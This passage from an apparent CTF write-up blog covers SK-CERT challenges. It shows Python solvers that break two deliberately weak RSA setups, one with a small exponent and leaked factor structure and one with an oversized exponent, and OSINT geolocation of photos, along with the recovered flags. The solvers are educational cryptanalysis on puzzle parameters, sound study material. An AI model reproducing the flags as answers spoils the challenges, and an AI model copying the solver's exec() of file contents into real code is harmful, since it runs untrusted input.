6893239153,<br> 6637300469,<br> 6545235847,<br> 5079964343,<br> 4959254497,<br> 4849767947,<br> 3524654227,<br> 3458365789,<br> 3288001447,<br> 3283570987,<br> 2668164817,<br> 2654685647,<br> 2577719497,<br> 1242720113,<br> 891228883,<br> 601919111,<br> 437723521,<br> 234630371]<br><br>main()</pre><p>output.txt(The ciphertext, modulus, and public exponent):</p><pre>c:  11734104621330122306051619458715549004966317444961687995511160662947540811139016172479786084339259250279133231484381252142572455923343441751909630006132634029551489956942278382797498244055166471670128996856518381928842972347156560863686418916083864033481250591063552682189700701642321082374834368254671<br>n:  77568798730065799432351396345551612226901205428287848997625975245113641493265848893286902516448430900148338393806704265615308335340205339876413650967390590557449703078900802918577489564020403891166774121888943505500213272896573003841536554648722172519028834575573537070337576785183121093654306011906187<br>e:  3</pre><p>The challenge implements RSA encryption with a twist: the plaintext message is validated to contain prime factors from three different “classes” of primes before encryption.</p><h4><strong>Step 1: Analyzing the Encryption Script:</strong></h4><p>Looking at <em>main.py</em>, we see a standard RSA setup:</p><pre>from Crypto.Util.number import bytes_to_long, getPrime<br><br>def main():<br>    flag = &quot;SK-CERT{****}&quot;<br>    m = bytes_to_long(flag.encode())<br>    isNiceNumber(m)<br>    e = 3<br>    p = getPrime(502)<br>    q = getPrime(502)<br>    n = p * q<br>    c = pow(m, e, n)<br>    print(&quot;c: &quot;, c)<br>    print(&quot;n: &quot;, n)<br>    print(&quot;e: &quot;, e)</pre><p>Key observations:</p><pre><br>| Parameter | Value / Note |<br>|-----------|-------------|<br>| `e` | **3** — extremely small public exponent |<br>| `p`, `q` | 502-bit primes → `n` is ~1004 bits |<br>| `m` | The flag encoded as an integer, validated by `isNiceNumber()` |</pre><p>The public exponent <em>e = 3 </em>is a classic red flag in RSA challenges — it makes the scheme vulnerable to several attacks.</p><h4><strong>Step 2: Understanding isNiceNumber():</strong></h4><p>The function checks that the message `<em>m</em>` has <strong>at least one prime factor from each of three “classes”</strong>:</p><pre>def isNiceNumber(x):<br>    global smallClass, middleClass, bigClass<br>    smallClassRepresented = False<br>    middleClassRepresented = False<br>    bigClassRepresented = False<br><br>    for number in smallClass:<br>        if x % number == 0:<br>            smallClassRepresented = True<br><br>    for number in middleClass:<br>        if x % number == 0:<br>            middleClassRepresented = True<br><br>    for number in bigClass:<br>        if x % number == 0:<br>            bigClassRepresented = True<br><br>    assert(smallClassRepresented and middleClassRepresented and bigClassRepresented)</pre><p>The three classes contain:</p><pre><br>| Class        | Size of Primes      | Unique Count |<br>|--------------|---------------------|--------------|<br>| `smallClass` | 2 – 509 (~1–9 bits) | 65 unique primes |<br>| `middleClass` | 11 – 8161 (~4–13 bits) | 95 unique primes |<br>| `bigClass` | 234630371 – 33714707561 (~28–35 bits) | 100 unique primes |</pre><p>There’s also a crucial comment in the code:</p><blockquote>&gt; <em>”I like when my numbers have a factor in each class, and also a large hidden extra factor”</em></blockquote><p>This tells us the message structure is:</p><pre>m = (one small prime) × (one middle prime) × (one big prime) × (large hidden factor)</pre><h4><strong>Step 3: Estimating Message Size:</strong></h4><p>The flag SK-CERT{…} is likely 30–50 characters, meaning <em>`m`</em> (as an integer) would be roughly <strong><em>240–400 bits</em></strong><em>.</em></p><p>With <em>e = 3</em>:</p><ul><li><em>`m³`</em> would be at most <strong><em>~1200 bits</em></strong></li><li><em>`n`</em> is ~1004 bits</li><li>So<em> `m³ mod n`</em> wraps around only a <strong>small number of times</strong> (small <em>`k`</em> where <em>`m³ = c + k·n`</em>)</li></ul><p>This is the foundation of the attack.</p><h4><strong>Step 4: The Attack — Known Factor Cube Root Recovery:</strong></h4><p><strong>Why direct cube root fails:<br></strong>First, we check if `<em>m³ &lt; n</em>` (i.e., no modular reduction occurred):</p><pre>from sympy import integer_nthroot<br>m_candidate, is_perfect = integer_nthroot(c, 3)<br># Result: NOT a perfect cube → m³ &gt; n</pre><p>We also try <em>`c + k·n` for `k = 0..999`,</em> but none yield a perfect cube. The message is too large for a direct cube root.</p><h4><strong>Exploiting the known factor structure:</strong></h4><p>Since we know <em>`m`</em> is divisible by primes from each class, we can <strong>divide them out </strong>to reduce the problem:</p><p>1. Let <em>`k = s × mp × b`</em> where <em>`s ∈ smallClass`</em>, <em>`mp ∈ middleClass`</em>, <em>`b ∈ bigClass`</em></p><p>2. Write <em>`m = k × r`</em> where <em>`r`</em> is the unknown “hidden factor”</p><p>3. Substitute into <em>`c ≡ m³ (mod n)`</em>:</p><pre>c ≡ (k · r)³ (mod n)<br>c ≡ k³ · r³ (mod n)<br>r³ ≡ c · (k³)⁻¹ (mod n)</pre><p>4. Compute <em>`c_reduced = c · (k⁻³) mod n`</em></p><p>5. Since <em>`r`</em> is much smaller than<em> `m`</em>, <em>`r³`</em> wraps around <em>`n`</em> very few times</p><p>6. Try <em>`r = ∛(c_reduced + j·n)`</em> for small values of <em>`j`</em></p><h4><strong>Why this works:</strong></h4><p>By dividing out the known factors, we significantly reduce the size of the unknown value:</p><ul><li>Original <em>`m` ≈ 334 bits → `m³` ≈ 1002 bits (wraps around `n` unpredictably)</em></li><li>After dividing out<em> `k` ≈ 57 bits, the hidden factor `r` ≈ 277 bits → `r³` ≈ 831 bits</em></li><li>Since <em>`n` ≈ 1003 bits, `r³` is </em><strong><em>smaller than `n`</em></strong><em> or wraps only </em><strong><em>once</em></strong><em> (`j = 0` or `j = 1`)</em></li></ul><p>This makes the cube root easily computable!</p><h4><strong>Step 5: Brute Force the Correct Combination:</strong></h4><p>We iterate over all combinations of one prime from each class (65 × 95 × 100 = 617,500 combinations) and for each:</p><p>1. Compute <em>`k = s × mp × b`</em></p><p>2. Compute <em>`c_reduced = c × (k³)⁻¹ mod n`</em></p><p>3. For `j = 0, 1, 2, …` (small range), check if <em>`c_reduced + j·n`</em> is a perfect cube</p><p>4. If yes, recover<strong><em> `m = k × r`</em></strong> and check if it decodes to a valid flag</p><p>The correct combination turns out to be:</p><pre>| Class | Prime |<br>|-------|-------|<br>| Small | 479 |<br>| Middle | 5501 |<br>| Big | 24190929817 |<br>| Wrap-around `j` | 1 |</pre><h4><strong>Solver Script:</strong></h4><pre>from Crypto.Util.number import long_to_bytes<br>from sympy import integer_nthroot<br><br>c = 11734104621330122306051619458715549004966317444961687995511160662947540811139016172479786084339259250279133231484381252142572455923343441751909630006132634029551489956942278382797498244055166471670128996856518381928842972347156560863686418916083864033481250591063552682189700701642321082374834368254671<br>n = 77568798730065799432351396345551612226901205428287848997625975245113641493265848893286902516448430900148338393806704265615308335340205339876413650967390590557449703078900802918577489564020403891166774121888943505500213272896573003841536554648722172519028834575573537070337576785183121093654306011906187<br>e = 3<br><br># All unique primes from each class<br>smallClass = sorted(set([509, 503, 499, 491, 487, 479, 457, 439, 433, 431,<br>    421, 419, 409, 401, 397, 389, 383, 379, 373, 359, 353, 337, 317, 313,<br>    311, 293, 283, 281, 277, 271, 263, 257, 251, 241, 227, 197, 191, 181,<br>    167, 163, 157, 151, 149, 139, 137, 131, 113, 107, 103, 97, 89, 71, 67,<br>    59, 53, 43, 41, 37, 19, 17, 13, 11, 5, 3, 2]))<br><br>middleClass = sorted(set([8161, 8039, 7937, 7699, 7639, 7589, 7517, 7333,<br>    7331, 7229, 7013, 6841, 6719, 6659, 6577, 6571, 6481, 6469, 6343, 6299,<br>    6263, 6229, 6197, 6007, 5857, 5851, 5639, 5591, 5501, 5347, 5309, 5297,<br>    5167, 4993, 4987, 4909, 4903, 4787, 4657, 4637, 4597, 4463, 4447, 4363,<br>    4231, 4129, 4099, 4073, 3881, 3847, 3767, 3643, 3613, 3539, 3527, 3491,<br>    3323, 3257, 3191, 3169, 3037, 2837, 2803, 2731, 2719, 2693, 2557, 2549,<br>    2389, 2357, 2011, 1847, 1789, 1667, 1619, 1303, 1129, 1049, 1039, 1021,<br>    823, 761, 757, 751, 743, 701, 653, 593, 277, 191, 139, 37, 31, 23, 11]))<br><br>bigClass = sorted(set([33714707561, 33475189963, 33180798359, 32968219657,<br>    32753993861, 32601998993, 32354000431, 31622210959, 31463103443,<br>    31106171297, 31026644791, 30864000457, 30555832451, 30007127383,<br>    29679425119, 29092782221, 28965030907, 28962105283, 28788132787,<br>    28512646711, 28435367731, 28366379219, 28323441217, 28021435769,<br>    27943699733, 26635017737, 26567935297, 26303239091, 25608036371,<br>    25576881097, 25395389471, 25205052833, 24596525977, 24335124727,<br>    24229533397, 24190929817, 23954685889, 23775654349, 23675939747,<br>    23598824653, 23309496157, 22135955827, 21806963513, 21700899733,<br>    21143839061, 20917551449, 20816352043, 20261287681, 20012201381,<br>    19915512101, 19661235553, 19585405291, 19129191649, 18809753401,<br>    18624918629, 18158829257, 18121590569, 17572665139, 16580964929,<br>    16057692181, 15575058607, 15272351359, 14981230513, 14043779501,<br>    13980148361, 12851947057, 12851592671, 12562954097, 12175890931,<br>    11505311681, 11145919879, 11069320079, 10463008123, 10215147653,<br>    9627859369, 9624045577, 9331874807, 9226461847, 8995683889, 8703841693,<br>    7452307061, 7307945837, 6893239153, 6637300469, 6545235847, 5079964343,<br>    4959254497, 4849767947, 3524654227, 3458365789, 3288001447, 3283570987,<br>    2668164817, 2654685647, 2577719497, 1242720113, 891228883, 601919111,<br>    437723521, 234630371]))<br><br># Brute force: try one prime from each class<br>found = False<br>for s in smallClass:<br>    if found:<br>        break<br>    for mp in middleClass:<br>        if found:<br>            break<br>        for b in bigClass:<br>            k = s * mp * b<br>            k3_inv = pow(k * k * k, -1, n)<br>            c_reduced = (c * k3_inv) % n<br>            for j in range(100):<br>                val = c_reduced + j * n<br>                root, is_perfect = integer_nthroot(val, 3)<br>                if is_perfect:<br>                    m_candidate = k * root<br>                    msg = long_to_bytes(m_candidate)<br>                    try:<br>                        decoded = msg.decode(&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br>                        if &#39;SK-CERT&#39; in decoded:<br>                            print(f&quot;[+] Found! s={s}, mp={mp}, b={b}, j={j}&quot;)<br>                            print(f&quot;[+] Flag: {decoded}&quot;)<br>                            found = True<br>                            break<br>                    except:<br>                        pass<br>        if found:<br>            break<br><br>if not found:<br>    print(&quot;[-] Flag not found.&quot;)</pre><p><strong>Running the solver:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cQShVKf4UYcZHBht3jyMbQ.png" /><figcaption>Output</figcaption></figure><pre>[+] Found! s=479, mp=5501, b=24190929817, j=1<br>[+] Flag: SK-CERT{l34k3d_57ruc7ur3_g1v35_6w6y_7h3_50lu710n}</pre><p><em>“leaked structure gives away the solution”</em></p><p>Summary:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*HmhA2saDY0Q2BfH-PXbhKA.png" /><figcaption>Summary</figcaption></figure><h4><strong>Key Takeaways:</strong></h4><p>1. <strong>Small `e` in RSA is dangerous.</strong> With `e = 3`, the ciphertext is just the cube of the plaintext modulo `n`. If the plaintext (or a reduced version of it) is small enough relative to `n`, cube root extraction trivially recovers it.</p><p>2. <strong>Leaking the factor structure of the plaintext is fatal.</strong> By revealing that `m` must contain factors from known sets, the challenge effectively gives us a partial factorization of `m`. Dividing out these known factors shrinks the unknown portion enough to make cube root recovery feasible.</p><p>3. <strong>The “classes” are a red herring in terms of complexity.</strong> Despite having 65 × 95 × 100 = 617,500 possible combinations, this is trivially brutable on modern hardware. The real barrier was recognizing the mathematical structure of the attack.</p><p>(Crypto is so boring and complex XD)</p><h3>8: RSA — Exponent works:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*vhNSYO6hY8ZC_2YvC23HfA.png" /><figcaption>Chall desc</figcaption></figure><h4>Initial Discovery And file analysis:</h4><p>The challenge provided a file called “data.txt” which included the following RSA values:</p><pre>N = 1268646641157559375347601149487611002279601771349111779074870168045424542492092331377732636766727560679051862772453088553460940970278345952292629294905464527281591723804616204978717513173500657075964405933439222410418013264980023705883406687963130543268413284279270518186439064012549794672998221594850692151644188810883909484542253813989556837321274802216277569147723376372369189470671913552282522319669828645864384712982621975766082566957950856070946229423041175087333739420606097388736125243134191703882884306061256976540237292104443745764820807452946003611741427237208831663547700986470860311478128285087299011865746759219058245636908774574554273491928506844799600836139721093287207490610437453066476893468701449082034118126149467667633639865989394134426063177231373097548383125854849504726343188158669559013969924071095147888072439700246650306077444995113448812995507925743592668485989518746827058162130956411052504871186255664125769346485607055664290865891489884003625249955493456767791423535441796525364588175161267655793329356755047243059162932152876324244368068655964834420226489880416305186030958998878560947308378459606299573409617267026528183575845482902501907743627888816949264006950567637928866760882780462327013576290002552938541312117369569116666932375747543289104905365637715914482454830879693261728455267110815835413472739569612659011057720739169928466312248241420803850203028754003285543849384410612836607686975036803944443248013543571821724459261632829447269110353043358211511489161468332432476732579478891670769742916325625850710199522514296299007693683728369669538108391988689419557351357749354039047527322309909599102701983557975768901174356585087842721091006271628211659316418804817786898585481053914142436443749847037246181901637806252102637254349506195358234959634680757272995072193<br>e = 1055809682389430071523557160985233926615045108520628113227520096036401558509496519393212916395050820130894144836376445759214166612341349628131884241490471644864104182911749705727146421371069449354670801475010263443978932098202852237843465564538889443071424859567445158953979036833701483180307745970951141340742226615021617745637199596796537836120667705132040502805469945134482960720078731380222726594692494865083569576042557296508495986002213476266339455021191177078213955514793116468223474830594465121647167758347214419210090732286630230336105791131998128317170512110953713022906305888469646307740458592962653979550762746465159597358849759495493693212614071817735079612756788426132405442532916386679824395778457280595623716543925638731876797380080915706202088912283478667492974646836614131720439900750915987127832519797495685704952324586864153011420842658328367668808760052015840164043190271579931123663213782270504222585816984463893784790711960868207389840085849060210153610753712604937488821151955534555351411492637265629039811053098049921848616795953064856105649447596183457382553504047351476887696792628967568982870954023586607402983140607967804261362459560744247309279763880477004109113147344072064735001899894290740951496422868426615283387528133515146214937955640066575417147332770860248409988914670036329151370849148581893811027514582836898034753026396026900998386773008870315667217406396565619094599694254141172360731582574718657019443353648337440064333963218015485602586559972363379741824203401047635692369123237315964591935154630708483086261434245453880630365547128284718466411698863191417559734923181456020547918956613666497765259985077240841274389955153890556654957502817754224768017281793819018600406332072981690519141589291222511887249840958619042173343354354385353406471632574535681238681242172153981185709093595471434884203729629409601177639608391626996619700795070686115935735242702114537524626288300632032440495066790757282484852101533089138600032508182344269902828406471982274509074831636171318554085798714287171901511354282014485135598990987241760573213862356823752876806319951756543930912403412295214440482293162307074570445557650382799443897502743929564813758944117221381733864655498954733719498703261509254627342110432146767245553331268979097800675408806377251109381902732676875123230662403370336409272116759054701187821772450798130685338483837009519659173545588536539963322043040247138254468926372905709118472514568195650069676524769897778006404293486899102999347438252527090778154463229237901324137353301704745772037283613605917871108961553134272926724983035535325383917234358806242457517415902123597338149879628426749914642691748515117071457398597029584070891030330436702035601982526894679336392735354883546305111310279591851517006056923328328670829606931997226704307161529272498026970527682483395041485213629574688289722227937692323814764759068566874831833202127555616264667881119469881188143036705071309286813198387242241413005144680207350796771282822484886637414617004813491007615961787007298807006005254474409299073889867643804382513358226547322735857193695726264787817115478199598801573594759476434881801031821162009628895634336049411400510705759964508463691980328339631882795344958049784624570375134728765948813448587076235822258112885187123246816010435932131367798046742046322631541919741808865751269562890748495578376755876877606405868984307442424059853739152757829761466037979459215731693773940679559587386049776616624500905659874753622841325373525013999772735326307116673163730616459097954484397588292918012650379965303701292084890897776253077130906852345123398817410664829193052615589090025021388956591153495472462648703089189369212697378199310468792903836105591123533503524769530677709125275818708339063311541847579084444526946373785538066318016861434245132469374487122126644384259413114697579321952464586965495442481950882148234165165944611228078684238614153102143746920092810645006555590029963595807437518485886668099475482503106949565651161602770411293510326034603918141512744172146124392172577194397186050744955497175859982308638501201157278475333759045745487144362685472502196552134090027870936987104162565748408525818621174422380168929511501560295682773761833583387527920508856229309227960583480242958008191946360652985716907978412213474184890548967362488123370978582967522534740685191704833166757530658403608104026973550632109372592213112660623566288510126028347231344819395387935480719901971547791768160312438771872846420935867326482775291026581803320719751518222924204288984659058937330585804201923268667679737597882229069226315092769015710902871789290213590647174325504304468265430636167833649038623215304729438944115043238721417674213239307457589315843470635990931093900430810853929823437528725690376924036107139246061920038224417388823109171180881082186628957750065446903748299686673904729950555855227643345249584258232030474064136188397204365409266145943519074606141118085875786736369767176777132045160081004795039776510458917391283917913875341309419223616975011914938389922680605883596519204104107469391539418481427074979548349746138350113686549404920090692518680870414603366838835508230012050405973010343977243114285381625445037493515863113203538397107078871519243749760051199370886274529956202480749762488732030002391265296981186742288489393103764246368426290846788202478756655665524720018121241086065151705766651744822355627656463051594321764365695389707982716736973662974867469345257539137675223739287439676921523562449292099974893617402312974933074724180547531782762301006424712677140433344969043660954041778460745833270546490758898145917138738709521535505142172559773753742994109141144895522752477243355850213310787371510196059168882931005779632084396018476446477007433685614634869466268628835944558524072404046956829921089587987940262986952803237622964149002106070448198825613106986406823994895353488395007614150266197835783698429784376148246085410116999843419558485749067799816656199459272757001880395436064644786411623030806765383365552617396864527231693018463333579424851224081398552424355305185943250079182950187487041263523678222423998232757207329469241560623940447501909810476167725346842342837548384013844077750860816730720547557389524256395877583547409063762457510840980659089730195449172681091039314322363889017706712921209209057505720734067921990721610659285856594734577643826777108484877597026670521289084996062899971270771706539742696690829941481916947508473750360340169195815332935130357867048105136345743502849279293660216428143024827438605613298905612652635420877367212973007139560220280796429932532227750126488085154339479001441846977133969385618709934670927447206107121544397821630521846573429533094814520902758645823241595054240028771365391671527708444157311513091676545028211140472232635272066629847642489263259832164862407043905515914035373404087731363326641463941773282782363552909697786912958946979407804364874028784957946506507832618196498970536964574505543323274135067690793100350555101711821034674170441883005141869590459810768689021394818893395481856103881020058350498510833043672328394134162236446372816815467543821662932828235669499294134057407790811018120104315577579387347724324022997457496553139697790353980267971258729924664593750049<br>ct = 232162368366735977236747359111004323329673491284181846919763968144623656574060895642125289452482302658355976600240717498265573771230667653563039609965331938096392100466052148147404937951477385270614170205259120391429795602004616504160727137519416353757988641298326018443328465482198242906131974649205878053975392336799148272671402415484948239116314712809454448600626778397567253722227375611426055253913846950422345430170854153454736868948797420887307493185624706885165366542099261483547767008017598255277506695529594842122261084288865387069817951480498599498390802816688733728850737217380223851980722838727230897285325608549185773391555235600602649937209302038206051616428366545132402793309864822970544936748200487176094994964381749090613455477971364331663131711538262175160701410036758685792643956015692588463650190383698095668848272255306846689065521039873973570712611026295237812193582469915383422079460133821575967195496716634559550877997197908617038727425095216798569192134563531754289118175932198758259821407345033606987523973653292410070760364456970165494320706629224675769070212381596427697364371813416676513603027877124563239810508047167467440317665053561668470904926796288385584287534533482484813815883590475111743764998036640163826256124232685654208854991187076193074543084352744817905630352673821454651239917670892766037975274949719474159981266159180221997710762883322356705512204110848746311891417554946459066955863575328525881838690467784235859784446150259029918617052314553660210993048912360420987937186616732695739321281637625627206782690158020597094294172372528739826794702117564214992029487897970140575767848416667718953472068468496897230792420761789596167096762826922042850301914658148673673083385429997236655126656575885811788113466372865970670927362984560285597298608125520536532506813</pre><p>A quick look at their magnitudes reveals something highly unusual:</p><ul><li><em>`N`</em> is approximately <strong>2048 bits</strong> ($~10^{616}$).</li><li><em>`e`</em> is approximately <strong>8192 bits</strong> ($~10^{2465}$).</li></ul><p>In standard RSA, <em>`e`</em> is typically small (like <strong>65537</strong>). Even when large exponents are used, they are usually the same size as<em> `N`</em>. Here, <em>`e`</em> is roughly the same size as <em>$N⁴$</em>. This massive exponent is a huge red flag, suggesting a vulnerability related to the high-exponent RSA variants or a specific mathematical structure hidden in <em>$e$</em>.</p><h4>The Hunt for a Pattern:</h4><p>When <em>`e`</em> is exceptionally large, we often check if it was constructed using a relationship that might leak information about <em>$p$</em> and <em>$q$</em>. A common technique for this is using <strong>Continued Fractions</strong> to find a rational approximation of <em>$e$</em> against some power of <em>$N$</em>.</p><p>Since <em>$e \approx N⁴$</em>, we calculate the continued fraction expansion of:</p><pre>$$\frac{e}{N^4}$$</pre><p>Looking at the convergents of this fraction, we notice that the expansion contains a very large term early on. This indicates that the convergent just before that term is an extremely good rational approximation of the ratio. Let this approximation be <em>$\frac{a}{b}$</em>.</p><h4>Uncovering the Relation:</h4><p>By testing the approximation <em>$\frac{e}{N⁴} \approx \frac{a}{b}$</em>, we can look for a remainder <em>$R$</em>:</p><pre>$$b \cdot e = a \cdot N^4 - R \implies R = a \cdot N^4 - b \cdot e$$</pre><p>If we compute <em>$X = R/a$</em>, we find a value that is much smaller than <em>$N⁴$</em>. Specifically, its magnitude (around <strong>1200 bits</strong>) suggests it might be related to <em>$p⁴ + q⁴$</em> (since <em>$p$ and $q$ </em>are <strong>~1024 bits each</strong>).</p><p>Testing the hypothesis that <em>$X = p⁴ + q⁴$</em>, we now have:</p><p>1. The sum of the fourth powers: <em>$X = p⁴ + q⁴$</em></p><p>2. The product of the fourth powers: <em>$Y = (pq)⁴ = N⁴$</em></p><h4>Solving for p and q:</h4><p>With both the sum and the product of <em>$p⁴$</em> and<em> $q⁴$</em>, we can construct a quadratic equation whose roots are exactly <em>$p⁴$</em> and <em>$q⁴$</em>:</p><pre>$$t^2 - Xt + Y = 0$$</pre><p>Using the quadratic formula:</p><pre>$$t = \frac{X \pm \sqrt{X^2 - 4Y}}{2}$$</pre><p>Taking the 4th root of these roots gives us the values of <em>$p$</em> and <em>$q$</em>. Even if <em>$X$</em> is slightly off due to rounding in the rational approximation, we can perform a small search around the 4th root of <em>$t$</em> to find the exact prime factor <em>$p$</em>.</p><h4>Decryption:</h4><p>Once <em>$p$ </em>and<em> $q$</em> are found:</p><ol><li>Calculate<em> $\phi(N) = (p-1)(q-1)$</em>.</li></ol><p>2. Calculate the private exponent <em>$d = e^{-1} \pmod{\phi(N)}$</em>.</p><p>3. Decrypt the ciphertext: <em>$m = ct^d \pmod N$</em>.</p><p>4. Convert<em> $m$</em> to bytes to retrieve the flag.</p><p>The challenge relies on the fact that an oversized public exponent can leak the sum of specific powers of the primes through rational approximation, effectively reducing the factorization of $N$ to solving a simple quadratic equation.</p><h4>Solver:</h4><p>before we get to the solver i originally didnt save a solver for this just a writeup so im using <a href="https://medium.com/u/d58fe95eeb09">Malekith</a> ‘s solver huge thanks to him:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OldPfR-OV3gnNl080Pk8_Q.png" /><figcaption>Shoutout</figcaption></figure><pre>#!/usr/bin/env python3<br><br>import sys<br>sys.set_int_max_str_digits(0)<br><br>import gmpy2<br>from Crypto.Util.number import long_to_bytes, inverse<br><br># Load N, e, ct from data.txt<br>with open(&quot;data.txt&quot;) as f:<br>    exec(f.read())<br><br># Rational approximation of e / N^4 found via continued fractions<br>a = 985513<br>b = 2417906<br><br># Estimate X = p^4 + q^4<br>R = a * N**4 - b * e<br>X_approx = R // a<br><br># Solve quadratic equation: t^2 - X*t + N^4 = 0<br>disc = X_approx**2 - 4 * N**4<br>sqrt_disc = gmpy2.isqrt(disc)<br><br>P4_approx = (X_approx + sqrt_disc) // 2<br><br># Take the fourth root to estimate p<br>p_approx, _ = gmpy2.iroot(P4_approx, 4)<br><br>print(&quot;[*] Searching for p near approximation...&quot;)<br><br># Small local search around the approximation<br>p = 0<br>for offset in range(-1000, 1000):<br>    candidate = p_approx + offset<br>    if candidate &gt; 0 and N % candidate == 0:<br>        p = candidate<br>        print(f&quot;[+] Found p! Offset = {offset}&quot;)<br>        break<br><br># Standard RSA decryption<br>if p != 0:<br>    q = N // p<br>    phi = (p - 1) * (q - 1)<br>    d = inverse(e, phi)<br>    m = pow(ct, d, N)<br>    print(&quot;\nFlag:&quot;)<br>    print(long_to_bytes(m).decode())<br>else:<br>    print(&quot;[-] Failed to find p in search range&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rOGYkVJjr5nYl0Kr4hkaQg.png" /><figcaption>Output</figcaption></figure><pre>[*] Searching for p near approximation...<br>[+] Found p! Offset = 1<br><br>Flag:<br>SK-CERT{h0w_d035_f4c70r1n6_0f_m0dulu5_w17h_3xp0n3n7_r34lly_w0rk}</pre><h3>9: OSINT — Travellers — Public Transit:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*eOHvIOzqOC_mqoR-tXYEBw.png" /><figcaption>Chall Desc</figcaption></figure><p>The image in the challenge is this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1svTnhD-S5HXZP1wwrk7g.jpeg" /><figcaption>Challenge image</figcaption></figure><p>Reverse seaching the image using Google lens u will find out that this image is an image of the <strong>Algonquin Centre for Construction Excellence (ACCE).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nihaIsgI54gvreyJTE9eiw.png" /><figcaption>Reverse image search</figcaption></figure><p>Now we open the location on google maps to see what the nearest island is to this location:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*beppkP7gvzsmuJl3aosd_w.png" /><figcaption>maps</figcaption></figure><p>Zoom out a little and go down to the left u can literaly see it from outside:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4xFyMBA4EUmjymcYKq2gXw.png" /><figcaption>Point island</figcaption></figure><pre>SK-CERT{Point_Island}</pre><p>but if u cant see it from outside like this zoom into that park below and it will be more clear:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wlnk3cNlducB92lpF7rfSg.png" /><figcaption>close up</figcaption></figure><h3>10: OSINT — Travellers — Shopping Centre:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*foE9VGorYp0v5hT2lm6KLg.png" /><figcaption>Chall Desc</figcaption></figure><p>The image provided in the challenge is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wyMSIp5yk5fUHmFOj25trw.jpeg" /><figcaption>Chall image</figcaption></figure><p>They want us to find out the name of the building behind the photographer, reverse searching the image on googlelens first to see what the visible building is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i8uHvDmQO85vBf16Ib3w0Q.png" /><figcaption>Rever Image search</figcaption></figure><p>The building name is: <a href="https://en.wikipedia.org/wiki/Minsk-Arena"><strong>Minsk-Arena</strong></a></p><p>Pull it up on google maps for deeper analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ib00f5SlfSW5r3dJhbvOJQ.png" /><figcaption>Maps</figcaption></figure><p>Now one of the key details i focused on in our image is this pole and building thing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RkmYF0GMIVxBkZKkwxU3cQ.png" /><figcaption>Key detail</figcaption></figure><p>If u go ino street view and zoom in a bit and stand facing the building u can see the exact same pole and structure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPLAQiGubHO1D7Q0Qp5TFw.png" /><figcaption>visiual match</figcaption></figure><p>now look a little to the right and u would be facing our building Minsk Arena which would make the Building behind us “Arena City”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zVZTB0Pauetwve_R3lPBPQ.png" /><figcaption>Exact angle</figcaption></figure><pre>SK-CERT{Arena_City}</pre><h3>11: OSINT — Travellers — A beautiful view:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*Ozbp7oPHg9K-GKByqFTu1w.png" /><figcaption>Challenge Desc</figcaption></figure><p>we are provided with this image for the challenge:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VtRDlMv5qpgJoG4d5ElgVQ.jpeg" /><figcaption>Travellers part 3</figcaption></figure><p>Put the image on google lens to identify where this is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2EuXU4ite2U9JhjYMS0vg.png" /><figcaption>Result</figcaption></figure><p>as u can see it says iraq(those arabic hashtags say iraq too)<br>Now the image shows a very well known structure which is the roman theater, As well as the image being in iraq lets see if there is a roman theater in iraq:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZVVGxhKiHgQMlr4svNv_fA.png" /><figcaption>result</figcaption></figure><p>Thats literally the same view almost as the image so we know we are on the right track, lets check around for cafe’s in the area and find the nearest one,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fMlqM2v38WCqwMkWEHz4jA.png" /><figcaption>Result</figcaption></figure><p>Zooming out a little bit u can see 2 cafes, mali jayran and Lilac Cafe, lilac is closer if u pay attention but u can try both and the correct one is Lilac indeed so the flag is:</p><pre>SK-CERT{Lilac_Cafe}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*4CPkf-iO_HL_jVlBMffvRg.png" /><figcaption>Solved</figcaption></figure><h3>12: OSINT — Travellers — A little too urban:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*SVhzIIPbSn9K3G4G03uUXg.png" /><figcaption>Chall Desc</figcaption></figure><p>So for this challenge for whatever damn reason the author decided to make the image a .heic and not a png or jpg so i just converted it online but the image for the challenge is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*os3ZwpNbAYkAMCq0rc9ikw.png" /><figcaption>Challenge image</figcaption></figure><p>And like usual lets slap this onto google lens to see what this tower is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDROlD8_8SBxhVhrAoXMDQ.png" /><figcaption>Result</figcaption></figure><p>The tower appears to be the <a href="http://www.sumavskatower.cz/">ŠUMAVSKÁ tower</a> administrative complex, specifically one of the landmark high-rise skyscrapers colloquially known as the <strong>“Brno Triplets” (brněnská trojčata), which is located in </strong>Brno, Czech Republic, now lets open that location on google maps and check for the closest club to the tower:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PybRSt5n4-EAJi1HQDRjLQ.png" /><figcaption>Club</figcaption></figure><p>and its quite the easy task honestly there it is thats the club, but its name on the outside isnt correct so 